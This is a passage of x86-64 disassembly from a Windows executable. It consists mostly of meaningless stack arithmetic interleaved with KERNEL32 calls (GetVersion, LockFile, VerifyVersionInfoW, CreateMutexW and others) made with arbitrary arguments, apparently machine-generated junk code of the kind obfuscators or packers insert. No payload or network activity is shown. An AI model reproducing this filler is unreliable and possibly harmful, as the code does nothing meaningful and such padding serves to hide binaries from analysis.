call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a4c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9934], eax
movzx eax, byte [rsp + 0x708]
mov rcx, qword [rsp + 0x13120]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13038]
mov byte [rcx], al
movzx eax, word [rsp + 0x2cec]
mov word [rsp + 0x2d20], ax
mov rax, qword [rsp + 0x133a0]
mov rcx, qword [rsp + 0x13fc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x143b0]
mov dword [rcx], eax
lea rax, [rsp + 0x7b60]
mov qword [rsp + 0x15158], rax
mov eax, dword [rsp + 0x7a5c]
mov ecx, dword [rsp + 0x64e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9db0], eax
mov rax, qword [rsp + 0x14770]
mov rcx, qword [rsp + 0x14d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b18], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0x9e44]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6878], eax
mov rax, qword [rsp + 0x14e58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14000]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13998]
mov word [rcx], ax
movzx eax, byte [rsp + 0x775]
movzx ecx, byte [rsp + 0x37f]
sub eax, ecx
mov rcx, qword [0x140369db8]
mov byte [rcx], al
lea rax, [rsp + 0x93fc]
mov qword [rsp + 0x15160], rax
mov rax, qword [rsp + 0x149f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cfc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x150f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e50]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131a8]
mov dword [rcx], eax
lea rax, [rsp + 0x9f98]
mov qword [rsp + 0x15168], rax
movzx eax, byte [rsp + 0x72a]
movzx ecx, byte [0x140363efe]
add eax, ecx
mov rcx, qword [rsp + 0x15148]
mov byte [rcx], al
mov rax, qword [rsp + 0x138e8]
movzx eax, word [rax]
mov word [rsp + 0x2d24], ax
movsx eax, byte [rsp + 0x399]
mov rcx, qword [rsp + 0x13bb0]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x135a8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1570]
mov rcx, qword [rsp + 0x14bc8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13310]
mov word [rcx], ax
lea rax, [rsp + 0x9ee0]
mov qword [0x14036a120], rax
lea rax, [rsp + 0xa0c8]
mov qword [rsp + 0x15170], rax
mov rax, qword [rsp + 0x14988]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e08]
xor eax, ecx
mov word [rsp + 0x2ba8], ax
movzx eax, byte [0x140363f5d]
movzx ecx, byte [rsp + 0x3d2]
sar eax, cl
mov byte [rsp + 0x556], al
mov rax, qword [rsp + 0x14e98]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8f14], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xa0d8]
mov qword [rsp + 0x15178], rax
mov rax, qword [0x140369e78]
mov ecx, dword [rsp + 0x9de0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9dd4], eax
mov rax, qword [rsp + 0x132e0]
mov rcx, qword [rsp + 0x14ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2ba4]
mov word [rsp + 0x2d28], ax
lea rax, [rsp + 0x666]
mov qword [0x14036a128], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x3a97
mov r8d, 0x3001
mov edx, 0xa0
mov rcx, qword [rsp + 0x14630]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9fd8], eax
mov rax, qword [rsp + 0x14d70]
mov rcx, qword [rsp + 0x137c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x148d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14a30]
mov eax, dword [rax]
mov dword [rsp + 0xa11c], eax
mov rax, qword [rsp + 0x14838]
mov eax, dword [rax]
mov ecx, dword [0x140362478]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b2c], eax
mov rax, qword [rsp + 0x13600]
mov rcx, qword [rsp + 0x143b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14f60]
mov dword [rcx], eax
lea rdx, [rsp + 0x42d10]
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa120], eax
mov rax, qword [rsp + 0x13030]
mov rcx, qword [0x140369bc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7ca4], eax
mov rax, qword [rsp + 0x12ea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe3]
sub eax, ecx
mov byte [rsp + 0x73e], al
lea rax, [rsp + 0x1a88]
mov qword [rsp + 0x15180], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9934], eax
mov rax, qword [rsp + 0x146e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x780]
sub eax, ecx
mov byte [rsp + 0x3f0], al
mov rax, qword [rsp + 0x14898]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cf0]
sub eax, ecx
mov word [0x1403624bc], ax
mov rax, qword [rsp + 0x134f0]
mov rcx, qword [rsp + 0x13af0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x148d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8e2c]
mov dword [rsp + 0xa124], eax
movzx eax, byte [rsp + 0x2e0]
imul eax, eax, 8
mov rcx, qword [rsp + 0x13590]
mov byte [rcx], al
movzx eax, word [rsp + 0x2cbc]
movzx ecx, word [rsp + 0x17e8]
shl eax, cl
mov word [rsp + 0x1c88], ax
mov rax, qword [rsp + 0x14b58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9cac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ca4], eax
mov eax, dword [rsp + 0x8180]
mov dword [rsp + 0xa128], eax
mov eax, dword [0x140369e34]
mov rcx, qword [rsp + 0x13cd0]
mov qword [rsp + 0x15188], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15188]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9c50], eax
mov rax, qword [rsp + 0x130d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5c48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14098]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14e38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14b20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140363efe], al
lea rax, [0x140362494]
mov qword [rsp + 0x15190], rax
mov eax, dword [rsp + 0x8180]
mov ecx, dword [rsp + 0x9c28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa034], eax
mov edx, 0x1f50
mov rcx, qword [rsp + 0x13ae8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9e64], eax
lea rax, [rsp + 0x9f00]
mov qword [rsp + 0x15198], rax
movsx eax, word [rsp + 0x1640]
mov rcx, qword [0x140369e80]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14960]
mov word [rcx], ax
mov rax, qword [rsp + 0x14468]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x76c]
imul eax, ecx
mov byte [rsp + 0x783], al
lea rax, [rsp + 0x72d]
mov qword [rsp + 0x151a0], rax
movzx eax, word [0x140369c90]
movzx ecx, word [rsp + 0x1588]
add eax, ecx
mov word [rsp + 0x2c7c], ax
mov eax, dword [rsp + 0x9d70]
mov dword [rsp + 0xa12c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa130], eax
mov rax, qword [rsp + 0x13570]
mov ecx, dword [rsp + 0x9d74]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140362508], eax
mov rax, qword [0x140369e70]
mov rcx, qword [rsp + 0x14918]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x52a8], eax
mov rax, qword [rsp + 0x14d38]
mov rcx, qword [rsp + 0x12de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x98f0], eax
lea rax, [rsp + 0x9b2c]
mov qword [rsp + 0x151a8], rax
movzx eax, byte [rsp + 0x161]
movzx ecx, byte [rsp + 0x77f]
sub eax, ecx
mov byte [rsp + 0x752], al
lea rax, [rsp + 0x2bb0]
mov qword [rsp + 0x151b0], rax
mov eax, dword [rsp + 0xa004]
mov ecx, dword [rsp + 0x9c08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x98e4], eax
mov rax, qword [rsp + 0x13fc0]
mov rcx, qword [rsp + 0x14ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x52fc]
mov ecx, dword [rsp + 0x59fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62ac], eax
lea rdx, [rsp + 0x42920]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa104], eax
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f3c]
xor ecx, eax
mov eax, ecx
mov dword [0x14036246c], eax
movzx eax, byte [rsp + 0x75f]
mov rcx, qword [rsp + 0x13bb8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x708], al
lea rax, [rsp + 0x2d20]
mov qword [rsp + 0x151b8], rax
movsx eax, byte [rsp + 0x743]
mov rcx, qword [rsp + 0x14938]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14750]
mov byte [rcx], al
mov rax, qword [rsp + 0x14a70]
movzx eax, word [rax]
mov word [rsp + 0x2d2c], ax
mov rax, qword [rsp + 0x131d0]
mov rcx, qword [rsp + 0x137d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13d60]
mov dword [rcx], eax
mov rax, qword [0x140369ec8]
mov ecx, dword [rsp + 0x9c64]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9b2c], eax
lea rax, [rsp + 0x17fc]
mov qword [rsp + 0x151c0], rax
movzx eax, byte [rsp + 0x23a]
mov rcx, qword [rsp + 0x14768]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fe0]
mov byte [rcx], al
lea rax, [rsp + 0x9e54]
mov qword [0x14036a130], rax
mov rax, qword [rsp + 0x14070]
mov rcx, qword [rsp + 0x13ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8dd4], eax
mov rax, qword [0x14036a088]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x82a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8340], eax
mov rax, qword [rsp + 0x13fc0]
mov ecx, dword [rsp + 0x9f20]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x134f8]
mov dword [rcx], eax
lea rax, [rsp + 0x361]
mov qword [rsp + 0x151c8], rax
mov rax, qword [rsp + 0x144c8]
movzx eax, word [rax]
movzx ecx, word [0x140369bd8]
and eax, ecx
mov word [rsp + 0x1bd4], ax
mov eax, dword [rsp + 0x9dc8]
mov dword [rsp + 0xa134], eax
mov rax, qword [rsp + 0x12e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7a5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14108]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4b6d0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa138], eax
mov rax, qword [0x140369ba8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6234]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x135d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ce4]
add ecx, eax
mov eax, ecx
mov dword [0x1403624fc], eax
mov eax, dword [rsp + 0x64e8]
mov dword [rsp + 0xa13c], eax
mov rax, qword [rsp + 0x14cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14418]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x459], al
movsx eax, word [rsp + 0x1b34]
mov rcx, qword [rsp + 0x14060]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1690], ax
mov rax, qword [rsp + 0x13998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13610]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13a08]
mov word [rcx], ax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
mov byte [rsp + 0x78d], al
mov rax, qword [rsp + 0x14740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a74]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9fa4], eax
mov eax, dword [0x14036a108]
mov ecx, dword [rsp + 0x9f00]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x141e8]
mov dword [rcx], eax
lea rax, [rsp + 0x2c18]
mov qword [rsp + 0x151d0], rax
lea rax, [rsp + 0x74f]
mov qword [0x14036a138], rax
mov rax, qword [rsp + 0x13bc0]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14618]
mov dword [rcx], eax
mov eax, dword [rsp + 0x95fc]
mov ecx, dword [rsp + 0x8ac4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c50], eax
mov rax, qword [rsp + 0x14c18]
mov rcx, qword [rsp + 0x132c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa13c], eax
mov rax, qword [rsp + 0x141b8]
mov ecx, dword [0x140369dfc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9028], eax
movzx eax, byte [rsp + 0x76a]
mov byte [rsp + 0x78e], al
mov dword [rsp + 0x20], 0x278f
mov r9d, 0x2ff5
mov r8d, 0x3e58
mov edx, 0x137f
mov rcx, qword [rsp + 0x13798]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9fe4], eax
mov rax, qword [rsp + 0x14d18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14958]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x14f80]
mov ecx, dword [0x140362508]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8614], eax
mov rax, qword [rsp + 0x14038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa100]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c30], eax
mov rax, qword [rsp + 0x14d60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ca8]
and eax, ecx
mov rcx, qword [0x140369e80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x776]
movsx ecx, byte [rsp + 0x459]
sub eax, ecx
mov rcx, qword [rsp + 0x150b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x361]
mov byte [rsp + 0x78f], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ab8], eax
movzx eax, word [rsp + 0x2ba8]
mov rcx, qword [rsp + 0x150a8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14560]
mov word [rcx], ax
lea rax, [rsp + 0x940c]
mov qword [rsp + 0x151d8], rax
mov rax, qword [rsp + 0x13778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9aec]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14180]
mov qword [rsp + 0x151e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x151e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa064], eax
lea rax, [rsp + 0x64e8]
mov qword [rsp + 0x151e8], rax
mov rax, qword [rsp + 0x13408]
mov rcx, qword [rsp + 0x14838]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9df8], eax
mov rax, qword [rsp + 0x13200]
movzx eax, byte [rax]
mov byte [rsp + 0x790], al
lea rax, [rsp + 0x1c5c]
mov qword [0x14036a140], rax
mov rax, qword [rsp + 0x14790]
mov ecx, dword [rsp + 0xa04c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14198]
mov dword [rcx], eax
lea rax, [rsp + 0x9c34]
mov qword [rsp + 0x151f0], rax
mov rax, qword [0x140369bb8]
mov ecx, dword [rsp + 0x9e14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bc0], eax
mov rax, qword [rsp + 0x12fb0]
mov ecx, dword [rsp + 0x9d78]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x140a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13568]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13960]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15c4], ax
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x139f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa140], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movzx eax, byte [rsp + 0x585]
mov rcx, qword [rsp + 0x14090]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x11d8]
mov qword [rsp + 0x151f8], rax
movsx eax, byte [rsp + 0x184]
mov rcx, qword [0x14036a010]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x762], al
mov rax, qword [rsp + 0x151d8]
mov eax, dword [rax]
mov dword [0x14036a148], eax
mov rax, qword [rsp + 0x132e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9fc0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14cc0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x178c]
mov word [rsp + 0x2d30], ax
mov rcx, qword [rsp + 0x14f58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa144], eax
mov rax, qword [rsp + 0x13ec0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14ab8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x161], al
mov rax, qword [rsp + 0x150e0]
mov rcx, qword [rsp + 0x143c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7344], eax
mov rax, qword [0x140369fd0]
mov rcx, qword [rsp + 0x13b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x147c0]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4c450]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9eec], eax
mov rax, qword [rsp + 0x13eb0]
mov rcx, qword [rsp + 0x13680]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13ce0]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1e60
mov r9d, 0x3d4f
mov r8d, 0xd390791a
mov edx, 1
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a0c], eax
lea rax, [rsp + 0x9f2c]
mov qword [rsp + 0x15200], rax
mov rax, qword [rsp + 0x13360]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x142d8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x13d10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x233]
xor eax, ecx
mov rcx, qword [0x140369e10]
mov byte [rcx], al
mov eax, dword [rsp + 0x97b4]
mov dword [rsp + 0xa148], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15208], rax
mov rax, qword [rsp + 0x135d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9ae8]
sar eax, cl
mov rcx, qword [rsp + 0x14348]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9c38]
mov ecx, dword [rsp + 0x9e30]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15098]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9bb4]
mov dword [rsp + 0xa14c], eax
mov rax, qword [rsp + 0x14788]
mov eax, dword [rax]
mov ecx, dword [0x140369c8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f80], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4c7b0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ec8], eax
lea rax, [rsp + 0x154c]
mov qword [rsp + 0x15210], rax
movsx eax, byte [rsp + 0x6e0]
movsx ecx, byte [0x1403525ae]
and eax, ecx
mov byte [rsp + 0x72c], al
movzx eax, word [rsp + 0x2c00]
movzx ecx, word [rsp + 0x1588]
add eax, ecx
mov word [rsp + 0x1bfc], ax
mov rax, qword [rsp + 0x14768]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14068]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140369d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x13e40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ff8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14600]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14388]
mov ecx, dword [rsp + 0x9fe8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d28], eax
movzx eax, word [rsp + 0x2be0]
mov word [rsp + 0x2d34], ax
mov rax, qword [0x140369be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x585]
and eax, ecx
mov rcx, qword [rsp + 0x15070]
mov byte [rcx], al
mov eax, dword [rsp + 0x9da4]
mov ecx, dword [rsp + 0xa0b0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6050], eax
mov rax, qword [rsp + 0x15178]
mov rcx, qword [rsp + 0x14c90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f30], eax
mov rax, qword [rsp + 0x144d0]
mov ecx, dword [rsp + 0x69b4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7438], eax
lea rax, [rsp + 0x69b4]
mov qword [rsp + 0x15218], rax
mov dword [rsp + 0x20], 0x3c10
mov r9d, 0x3d0d
mov r8d, 0x2772
mov edx, 0x39b9
mov rcx, qword [rsp + 0x139f0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9c48], eax
movzx eax, byte [rsp + 0x147]
movzx ecx, byte [rsp + 0x788]
cdq
idiv ecx
mov byte [0x1403525cb], al
mov rax, qword [rsp + 0x136d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cdc]
shl eax, cl
mov word [rsp + 0x2c00], ax
lea rax, [rsp + 0x5920]
mov qword [rsp + 0x15220], rax
mov eax, dword [rsp + 0x8fd8]
movzx ecx, al
mov eax, dword [0x140369da8]
sar eax, cl
mov dword [rsp + 0x873c], eax
mov rax, qword [rsp + 0x14030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13f38]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1938], ax
movzx eax, byte [rsp + 0x6e0]
mov byte [rsp + 0x791], al
mov rax, qword [rsp + 0x133c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14898]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13248]
mov word [rcx], ax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x15228], rax
mov rax, qword [rsp + 0x13df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ddc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14740]
mov dword [rcx], eax
mov rax, qword [rsp + 0x150e0]
mov rcx, qword [rsp + 0x145c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140369f80]
mov dword [rcx], eax
lea rax, [rsp + 0x9f28]
mov qword [rsp + 0x15230], rax
mov rax, qword [rsp + 0x145b0]
mov rcx, qword [rsp + 0x13758]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8dcc], eax
mov eax, dword [rsp + 0x9db8]
mov ecx, dword [0x140369fc8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13fe8]
movzx eax, byte [rax]
mov byte [rsp + 0x792], al
mov dword [rsp + 0x4c8d0], 0x11c
movzx eax, word [rsp + 0x1bd4]
mov rcx, qword [rsp + 0x15050]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x137d0]
mov word [rcx], ax
lea rax, [rsp + 0x5810]
mov qword [rsp + 0x15238], rax
mov rax, qword [rsp + 0x13758]
mov ecx, dword [rsp + 0xa084]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9bd0], eax
mov rax, qword [0x140369b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x82a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x76ec], eax
lea rax, [rsp + 0x83d0]
mov qword [0x14036a150], rax
lea rax, [rsp + 0x1560]
mov qword [rsp + 0x15240], rax
movzx eax, byte [rsp + 0x88]
mov rcx, qword [rsp + 0x13708]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2e7], al
lea rax, [0x1403624e0]
mov qword [rsp + 0x15248], rax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4bc]
or eax, ecx
mov byte [rsp + 0x76e], al
lea rdx, [rsp + 0x43020]
mov rcx, qword [rsp + 0x13a78]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa00c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15250], rax
mov rax, qword [rsp + 0x131f8]
mov ecx, dword [rsp + 0x9748]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13b48]
mov dword [rcx], eax
lea rax, [0x140362470]
mov qword [rsp + 0x15258], rax
mov rax, qword [rsp + 0x14690]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13c70]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x13138]
mov word [rcx], ax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x15260], rax
mov rax, qword [rsp + 0x14210]
mov eax, dword [rax]
mov rcx, qword [0x140369ef8]
mov qword [rsp + 0x15268], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15268]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x140369bd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5784]
movzx ecx, al
mov eax, dword [rsp + 0x9a78]
shl eax, cl
mov rcx, qword [rsp + 0x13d98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14118]
mov rcx, qword [rsp + 0x13d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9f6c], eax
mov rax, qword [rsp + 0x13a48]
mov ecx, dword [rsp + 0x9bcc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x92dc], eax
movzx eax, word [rsp + 0x1878]
movzx ecx, word [rsp + 0x2cf4]
sub eax, ecx
mov rcx, qword [rsp + 0x14730]
mov word [rcx], ax
lea rax, [0x1403525c3]
mov qword [rsp + 0x15270], rax
mov eax, dword [rsp + 0xa0b8]
mov ecx, dword [rsp + 0xa0ec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d58]
mov dword [rsp + 0xa150], eax
mov dword [rsp + 0x20], 0x278f
mov r9d, 0x2ff5
mov r8d, 0x3e58
mov edx, 0x137f
mov rcx, qword [rsp + 0x13798]
